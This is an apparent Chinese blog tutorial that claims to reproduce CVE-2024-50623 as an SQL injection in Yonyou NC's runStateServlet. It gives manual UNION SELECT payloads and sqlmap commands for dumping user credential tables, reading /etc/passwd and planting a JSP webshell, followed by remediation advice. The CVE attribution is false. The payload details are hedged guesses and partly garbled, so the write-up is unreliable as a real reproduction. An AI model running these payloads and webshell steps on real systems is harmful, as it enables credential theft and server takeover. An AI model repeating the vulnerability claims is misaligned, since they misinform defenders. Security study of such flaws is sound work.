CVE-2024-50623漏洞复现:用友NC runStateServlet SQL注入原理与实战

发布时间:2026/6/29 12:54:04
CVE-2024-50623漏洞复现:用友NC runStateServlet SQL注入原理与实战 1. 项目概述与背景最近在安全圈里用友NC的runStateServlet接口爆出了一个SQL注入漏洞编号CVE-2024-50623。这个漏洞的热度不低很多朋友都在讨论和复现。用友NC作为国内广泛使用的企业级ERP系统一旦出现这种高危漏洞影响面是相当大的。我花了些时间从环境搭建到漏洞利用完整地走了一遍流程。这篇文章我就以一个安全研究者的视角把这个漏洞的来龙去脉、复现细节以及过程中的一些坑点原原本本地记录下来。无论你是刚入门安全的新手想了解一个真实漏洞的复现流程还是有一定经验的老手想看看这个特定漏洞的细节相信都能从中找到有价值的信息。简单来说这个漏洞允许攻击者通过构造特定的HTTP请求在未授权的情况下向数据库注入恶意SQL语句从而窃取敏感数据甚至获取服务器控制权危害等级非常高。2. 漏洞原理深度剖析2.1 runStateServlet接口的功能与缺陷要理解这个漏洞首先得知道runStateServlet是干什么的。在用友NC的架构中存在大量用于系统状态监控、信息收集的Servlet接口runStateServlet便是其中之一。它的设计初衷很可能是为了方便管理员或监控系统快速获取NC服务的运行状态、会话信息、缓存数据等内部指标。这类接口通常需要较高的权限或只能在内部网络访问但问题往往出在权限校验不严和输入过滤缺失上。根据公开的漏洞详情和分析该Servlet的某个参数例如与查询条件相关的参数在拼接SQL语句时没有进行有效的安全过滤和校验。开发人员可能直接采用了字符串拼接的方式构造SQL查询例如“SELECT * FROM some_table WHERE condition” userInput “”。当攻击者能够控制userInput这部分数据时就可以插入额外的SQL关键字和语句改变原查询的语义。这就是最经典、也最危险的SQL注入漏洞成因将不可信的用户输入直接拼接到了可执行的SQL命令中。2.2 SQL注入的利用链构建这个漏洞的利用链相对直接。攻击者向runStateServlet接口发送一个特制的HTTP GET或POST请求。请求中包含了经过精心构造的恶意参数值。这个值通常以单引号‘开始用于闭合SQL语句中原本的字符串引号然后跟上诸如UNION SELECT之类的攻击载荷。例如一个正常的请求可能是这样的/servlet/runStateServlet?queryParamnormalValue。后端处理逻辑可能是sql “SELECT info FROM state_table WHERE key” queryParam “”。 而攻击者可以将其构造为/servlet/runStateServlet?queryParam‘ UNION SELECT user() --。 这样最终执行的SQL语句就变成了SELECT info FROM state_table WHERE key’’ UNION SELECT user() -- ’。这里的--是SQL中的注释符用于注释掉原语句末尾可能存在的另一个单引号确保语法正确。于是查询结果就包含了数据库当前用户的信息。更危险的利用方式是通过UNION SELECT结合load_file()读取服务器文件或者通过SELECT … INTO OUTFILE写入Webshell从而直接获取服务器权限。漏洞的危险性正在于此它从一个信息泄露点可能演变为一个完整的远程代码执行RCE通道。2.3 影响范围与版本关联根据多方信息汇总这个漏洞影响多个版本的用友NC。通常这类在核心Servlet中出现的漏洞影响范围会覆盖使用相同代码基础的一系列版本。虽然官方会针对特定版本发布补丁但在漏洞刚被披露而补丁尚未广泛部署的窗口期以及大量用户由于升级成本或系统稳定性考虑而延迟打补丁的情况下存在大量可被攻击的实例。在复现和研究时我们通常会搭建一个明确受影响的版本环境例如NC 6.5或某个特定的历史版本。这并非意味着其他版本绝对安全而是基于已知的漏洞分析报告进行针对性验证。在实际的渗透测试或安全评估中如果遇到用友NC系统都应将其作为一项必要的检查项。3. 复现环境搭建与配置3.1 靶机环境准备复现一个漏洞第一步就是搭建一个与漏洞匹配的环境。对于用友NC这类复杂的企业应用自己从零安装配置非常耗时最有效率的方法是使用预先构建好的漏洞靶场或虚拟机镜像。我选择在本地VMware Workstation中搭建环境。你可以在一些知名的漏洞靶场平台或安全社区找到打包好的用友NC漏洞复现环境镜像例如某些专注于Java反序列化、Weblogic漏洞的靶场也包含了用友NC的漏洞场景。下载得到的通常是一个.ova或.vmx虚拟机文件。直接导入到VMware中即可。导入后需要关注几个关键点网络模式建议设置为“桥接模式”或“NAT模式”。桥接模式会使虚拟机获得一个与物理主机同网段的独立IP方便从主机直接访问。NAT模式则通过主机共享IP也能满足需求。我通常用桥接这样IP地址固定操作起来更直观。系统账户这类靶场镜像的默认账户密码往往是root/root、root/123456或者admin/admin。启动虚拟机后尝试用这些常见组合通过SSH或控制台登录。服务状态登录后首先检查用友NC的相关服务是否已经启动。可以执行ps -ef | grep java或netstat -tlnp命令查看是否有Java进程监听在NC常用的端口如80, 8080, 7001等。如果服务未启动需要到NC的安装目录下例如/home/nc/或/usr/local/yonyou/寻找启动脚本通常是startup.sh。注意使用他人打包的镜像存在一定安全风险务必在隔离的虚拟化环境中运行切勿在生产网络或包含敏感信息的主机上运行。3.2 工具链准备攻击机视角在攻击机通常是你的物理机或另一个Kali Linux虚拟机上我们需要准备一系列工具。我的攻击机是Kali Linux以下工具都是内置或易于安装的网络扫描与发现nmap用于扫描靶机IP发现开放端口确定NC的Web服务地址。命令如nmap -sV -p 1-65535 靶机IP。gobuster/dirsearch用于目录爆破可能有助于发现更多的Servlet路径或其他管理接口。不过对于已知漏洞点这一步有时可省略。漏洞探测与利用Burp Suite这是核心工具。用于拦截、重放、修改HTTP请求。我们需要用它来构造发送给runStateServlet的恶意请求。它的Repeater模块将是我们的主战场。sqlmap自动化SQL注入工具。在手动验证漏洞存在后可以用它来进一步利用自动化获取数据库名、表名、字段名和数据。它的强大功能可以节省大量手工构造Payload的时间。辅助分析浏览器配合Burp Suite使用。Python3可能需要编写简单的脚本来自定义Payload或处理响应。curl命令行下快速发送HTTP请求进行初步测试。确保你的攻击机和靶机在同一网络内能够互相ping通。获取到靶机的IP地址是后续所有操作的基础。4. 漏洞手工复现与验证4.1 信息收集与目标定位首先我们需要找到靶机上用友NC的Web入口。启动靶机后使用ifconfig或ip addr命令查看其IP地址。假设我们得到的靶机IP是192.168.1.100。在攻击机上用浏览器直接访问http://192.168.1.100。如果NC服务运行在默认端口你可能会看到用友NC的登录页面或者一些默认页面。如果没看到可能是端口不同。回顾之前nmap扫描的结果找到HTTP服务端口可能是8080, 7001, 80等。例如访问http://192.168.1.100:8080。找到Web入口后下一步是定位存在漏洞的runStateServlet。其路径可能类似于/servlet/runStateServlet/uapws/servlet/runStateServlet/nc/servlet/runStateServlet或者其他基于NC版本和部署方式的变体。我们可以通过已知的漏洞报告中的路径进行尝试或者使用dirsearch等工具对常见Servlet路径进行模糊测试。这里我们假设已知路径为/servlet/runStateServlet。4.2 初步探测与错误回显判断打开Burp Suite配置好浏览器代理。在浏览器中访问一个不存在的路径或已知路径带上一个测试参数让请求经过Burp。然后在Burp的Proxy - Intercept标签页点击“Intercept is on”将其关闭在History中找到我们刚刚的请求。右键发送到Repeater。在Repeater中我们将请求修改为针对runStateServlet的探测请求GET /servlet/runStateServlet?state1 HTTP/1.1 Host: 192.168.1.100:8080 User-Agent: Mozilla/5.0... Accept: */* ...发送这个请求。观察响应。关键点在于分析响应内容正常响应可能返回一些XML或JSON格式的状态信息或者一个空白页面甚至是一个错误页面但提示“参数错误”而非SQL错误。SQL错误响应这是漏洞存在的强烈信号。我们在参数值中尝试添加一个单引号‘GET /servlet/runStateServlet?state1‘ HTTP/1.1发送请求后如果响应中包含了数据库报错信息例如“You have an error in your SQL syntax; check the manual...”MySQL或“ORA-xxxxx: ...” Oracle那么几乎可以断定存在SQL注入漏洞。用友NC后端通常支持多种数据库报错信息会指明数据库类型。4.3 手工注入获取信息确认存在注入点且报错信息回显后我们可以进行手工注入。这里以MySQL数据库为例实际环境可能是Oracle或SQL Server语法需调整。我们的目标是获取一些基本信息例如数据库版本、当前用户。判断列数使用ORDER BY子句。state参数原本可能在WHERE子句中我们构造Payload1‘ ORDER BY 5 --。不断递增数字直到页面返回错误例如ORDER BY 6时报错说明列数为5。这里的--后面有个空格是SQL注释的标准写法用于注释掉原SQL的剩余部分。判断回显点使用UNION SELECT。构造Payload1‘ UNION SELECT 1,2,3,4,5 --。发送请求观察页面返回内容。如果页面正常显示并且原本显示数据的位置出现了数字如2和3说明这些位置第2、3列的数据会被回显到页面上。我们记下这些回显点位置。获取基本信息利用回显点替换数字为我们需要查询的函数。查询数据库版本1‘ UNION SELECT 1,version(),3,4,5 --查询当前数据库用户1‘ UNION SELECT 1,user(),3,4,5 --查询当前数据库名1‘ UNION SELECT 1,database(),3,4,5 --在Repeater中发送这些请求响应体中应该会在对应的回显点位置显示出数据库版本、用户名等信息。这一步的成功标志着我们不仅验证了漏洞还实现了初步的信息窃取。5. 利用sqlmap进行自动化深度利用手工注入可以验证漏洞并获取基本信息但要拖库获取所有数据库、表、字段和数据手动操作极其繁琐。这时sqlmap就派上用场了。5.1 基本探测与数据库指纹识别在Kali终端中使用以下命令进行初步探测sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ --batch-u指定目标URL。--batch以非交互模式运行所有提示都选择默认选项。sqlmap会自动检测注入点类型布尔盲注、时间盲注、报错注入、联合查询注入等。根据响应它会识别出最合适的注入技术。如果手工阶段已经确认是报错或联合查询注入我们可以通过参数指定来加快速度sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ --techniqueU --batch--techniqueU指定使用联合查询UNION技术。很快sqlmap会反馈它识别出的数据库类型、版本、Web应用技术等信息。这对于后续的利用至关重要。5.2 枚举数据库信息确认注入点可用后开始枚举信息列出所有数据库sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ --dbs --batch执行后sqlmap会展示它获取到的数据库列表。用友NC的数据库名可能包含nc、yonyou、ufida等关键字业务数据通常就在这些库中。指定数据库列出所有表sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ -D nc --tables --batch假设我们关注名为nc的数据库。这条命令会列出该库下所有的表名。你需要从中寻找可能存放敏感信息的表例如sm_user用户表、sm_permission权限表、bd_company公司信息表或者包含password、user、account等关键词的表。指定表列出所有字段sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ -D nc -T sm_user --columns --batch这条命令会列出sm_user表的所有字段名。你可能会看到user_code、user_password、user_name等字段。dump指定字段的数据sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ -D nc -T sm_user -C “user_code,user_password,user_name“ --dump --batch这是最关键的一步--dump参数会将指定字段的数据全部导出。sqlmap可能会询问你是否要破解哈希密码可以根据需要选择。执行完成后你就能获得一份明文或哈希格式的用户账号密码列表。5.3 高级利用文件读写与命令执行如果数据库用户权限足够高例如是root或DBA并且数据库配置允许sqlmap可以尝试进行文件读写操作这通常是获取Webshell的途径。判断文件读写权限sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ --privileges --batch查看当前数据库用户的权限关注是否有FILE_PRIV权限。读取服务器文件sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ --file-read “/etc/passwd“ --batch尝试读取系统文件验证权限。如果成功文件内容会保存在sqlmap的输出目录中。写入Webshell需知道Web绝对路径 这是风险极高的操作仅在授权的渗透测试环境中进行。需要知道NC的Web根目录绝对路径如/home/nc/webapps/。sqlmap -u “http://192.168.1.100:8080/servlet/runStateServlet?state1“ --file-write “/path/to/your/shell.jsp“ --file-dest “/home/nc/webapps/shell.jsp“ --batch如果成功就可以通过浏览器访问http://192.168.1.100:8080/shell.jsp来执行命令。重要警告文件读写和命令执行操作具有极高的破坏性只能在完全可控的、用于学习和研究的实验环境中进行。在未经授权的系统上尝试是非法行为。6. 复现过程中的难点与避坑指南6.1 环境搭建与启动问题问题1虚拟机无法获取IP或网络不通。排查检查虚拟机网络设置是否为桥接/NAT主机防火墙是否拦截了虚拟机流量尝试重启网络服务service networking restart或systemctl restart NetworkManager。技巧在虚拟机内使用dhclient命令主动获取IP或直接设置静态IP。问题2NC服务启动失败。排查查看NC的启动日志通常在logs/目录下。常见原因是Java环境不对需要特定版本的JDK、内存不足、端口被占用或数据库连接失败。技巧确保JAVA_HOME环境变量正确设置。可以尝试手动执行启动脚本并加上输出所有日志的参数以便观察错误。6.2 漏洞探测与利用问题问题1Burp Suite抓不到靶机的包。排查确认浏览器代理设置正确指向Burp默认127.0.0.1:8080Burp的Proxy监听端口正确且处于运行状态。如果靶机是虚拟机确保主机和虚拟机网络互通。技巧可以先在浏览器中直接访问一个不存在的地址看Burp History里是否有记录这是最快速的检查方法。问题2添加单引号后没有报错信息。可能性① 漏洞不存在于这个参数或路径。② 存在注入但属于盲注布尔盲注或时间盲注不会直接回显错误信息。③ 应用程序有全局的错误处理机制屏蔽了详细报错。应对尝试其他可能的参数名如id,type,code等。使用sqlmap进行盲注检测sqlmap -u “...” --level3 --risk2。观察页面返回内容的差异布尔盲注或使用--time-sec参数测试时间盲注。问题3sqlmap跑不出来或误报。排查可能WAFWeb应用防火墙干扰或者注入点比较特殊例如需要特定的Cookie或Header。sqlmap的请求被拦截或响应异常。技巧使用--random-agent随机化User-Agent使用--delay设置请求延迟以绕过WAF频率限制使用--proxy设置代理以便观察sqlmap发出的实际请求。对于需要Cookie的站点使用--cookie“...”参数。如果手工确认有注入但sqlmap检测不到可以尝试指定注入点位置state1*并在命令中使用-p state明确指定测试参数。6.3 权限与进一步利用问题问题能注入但无法UNION SELECT或无法读写文件。原因数据库用户权限较低只有基本的查询权限。或者数据库配置严格禁用了INTO OUTFILE和load_file等功能。应对即使不能直接写shell信息泄露的危害也已足够大。可以尝试通过注入获取管理员后台的密码哈希然后进行破解或尝试登录。或者寻找其他漏洞进行组合利用。7. 漏洞修复与安全建议复现漏洞的最终目的是为了理解风险并推动修复。对于企业安全人员或系统管理员如果正在使用受影响的用友NC版本应立即采取以下措施官方补丁升级第一时间关注用友官方安全公告获取针对CVE-2024-50623的官方补丁并按照指导进行升级。这是最根本、最有效的解决方案。临时缓解措施如果无法立即升级可以考虑以下临时方案WAF防护在NC系统前端部署Web应用防火墙WAF配置规则拦截对runStateServlet路径的恶意访问请求特别是包含常见SQL注入特征的Payload。访问控制在网络层或应用服务器如Nginx/Apache层面配置访问控制列表ACL限制对/servlet/runStateServlet等非必要监控接口的访问仅允许可信的管理IP地址访问。输入验证强化如果具备二次开发能力可以在应用层对该Servlet的输入参数进行严格的过滤和验证例如只允许数字或特定枚举值对单引号、双引号、分号等SQL元字符进行转义或拒绝。安全开发规范从根源上杜绝此类问题必须遵循安全编码规范使用预编译语句Prepared Statements这是防止SQL注入最有效的手段。所有数据库操作都应使用参数化查询确保用户输入永远被当作数据处理而非代码的一部分。最小权限原则连接数据库的应用程序账户只应授予其完成功能所必需的最小权限避免使用root或sa等高权限账户。错误信息处理自定义统一的错误处理页面避免将数据库的详细错误信息如SQL语句、表名、字段名直接返回给前端用户。定期安全审计与渗透测试对重要的企业应用应定期进行代码安全审计和黑盒/白盒渗透测试主动发现潜在漏洞。这个漏洞的复现过程清晰地展示了一个简单的输入验证缺失如何演变成一场严重的安全事故。对于安全研究者它是一次很好的实战练习对于企业运维和开发者它是一记响亮的警钟。在数字化时代安全无小事任何一个细微的疏忽都可能成为攻击者通往核心数据的捷径。